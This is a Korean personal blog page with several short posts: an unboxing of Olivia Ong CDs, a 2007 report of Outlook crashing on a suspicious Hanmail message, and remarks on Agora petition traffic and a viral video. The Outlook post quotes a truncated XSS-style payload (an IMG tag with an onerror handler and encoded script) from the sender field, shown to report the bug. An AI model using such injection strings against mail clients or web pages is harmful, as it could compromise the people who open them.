OLIVIA ONG 앨범 드디어 모두 구입 ㅠ..ㅠ

OLIVIA ONG의 노래는 아마 소울메이트 OST에서 처음 들었을 겁니다. 소울메이트 드라마는 못봤는데 삽입곡들이 다 좋다고 하더라구요. 들어보니 다 좋더라구요. 그 다음에 나온 소울메이트 포에버도 또 뭐 들어보니 다 좋구요.

그러다가 아 정확한 계기는 생각이 안나는데, OLIVIA ONG이라는 가수를 알게 됐습니다. 싱가폴에서 태어났고 일본에서 활동한다고 하더군요. 보사노바 앨범도 냈고 리사오노의 뒤를 이을 재목이라는 얘기도 있구요. 아, 우연히 들었는데 어라? 어디서 들어본거다? 싶어서 찾아보니 소울메이트 앨범이었을겁니다.

아흥, 그래서 OLIVIA ONG의 앨범을 사다보니 국내 미발매분이 있더군요. 난생 처음 구매대행을 이용해서 일본 아마존에서 CD를 사보네요. 늙으막에 찾아온 빠심이라니 -_-;;

개봉기입니다. 흐흐.


한국 대행업체에서 받아서 운송장 떼어내고 포장지는 그대로에 한국택배업체의 운송장을 덧 붙였군요.


이렇게 뜯으면 good 이랍니다.


넵!!


CD석장과 거래명세서가 들어있네요.


짜잔.

한메일에 보낸 사람 이름이 이상한지, 아웃룩 다운

아침에 아웃룩을 실행하고 잠시 후에 보니까 아웃룩이 죽어있더군요. 다시 실행해서 보니까 메일을 받다가 그냥 죽어버리네요. 무슨 일일까 싶어서 아웃룩으로 땡겨받는 POP3 계정에 다 들어가 봤습니다.

한메일 중에 의심가는 메일이 하나 있어서 얘를 삭제하고 다시 아웃룩을 실행해보니 문제없이 나머지 메일들을 받는군요.

메일은 열어보지 않았습니다만 글자 제목은 칼라고 (아마 한메일내에 있는 기능이 아닐까 싶네요.) 보낸 사람 이름에 마우스를 대보니 뭔가 범상치 않은 문자열이 미리보기에 나타납니다. 이게 혹시 원인이 아닐까 싶은데 아웃룩에서 이런 메일을 잘 받도록 고치는 것보다 한메일쪽에서 대책을 마련해주시는 편이 빠를 것 같네요.

이 글 보신 분 중에 혹시 한메일쪽에 아는 분 있으시면 이 포스트 좀 전달해주시길…

[업데이트]@2007.06.07 16:00
확실한 것 같군요. 또 비슷한 메일이 왔는데 아웃룩이 새 메일 받아오다가 죽습니다. 정확히 말해서 받아오기는 받아오는데 죽고나서 또 받아오다가 죽네요.
보낸이 메일 주소가 이렇게 되어 있습니다.

도박왕< <IMG src=” “ONERROr= “klopp=’%3Cscript%20lang
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A%3D%3D%5E%23%7E@%3C/script%3E’; koko = ”;
for(k=0;k>도박왕

(실제로는 엔터없이 한줄로 이어져있습니다.)

드물게 일어나는 폭주

대통령 탄핵 청원으로 본 아고라의 기술적 도전 -channy-

서명 숫자가 줄어드는걸 보고 다음쪽의 조작이라는 얘기가 많았는데 이런 기술적인 문제가 있었군요.

오늘 아침, 시민 구타, 욕하는 전경에 대한 동영상이 뜨고 해당 전경의 싸이월드 미니홈피가 여기저기 떠돌길래 가봤더니 이미 1시간도 안되서 수만명의 방문자가 다녀갔더군요 ‘이 분 아니랩니다.” 하는 글 올라오고 또 다른 사람의 미니홈피로 몰려가고, 아무튼 한참 방명록에 글이 올라올 때는 20분간 3천개정도 올라오던데 말이죠.

서비스 하시는 분들은 이렇게 트래픽이 몰리면 한편으로는 웃고 있지만 시스템, 인프라쪽에서는 장애 안터지게 꽤 스트레스 받으실 것 같네요.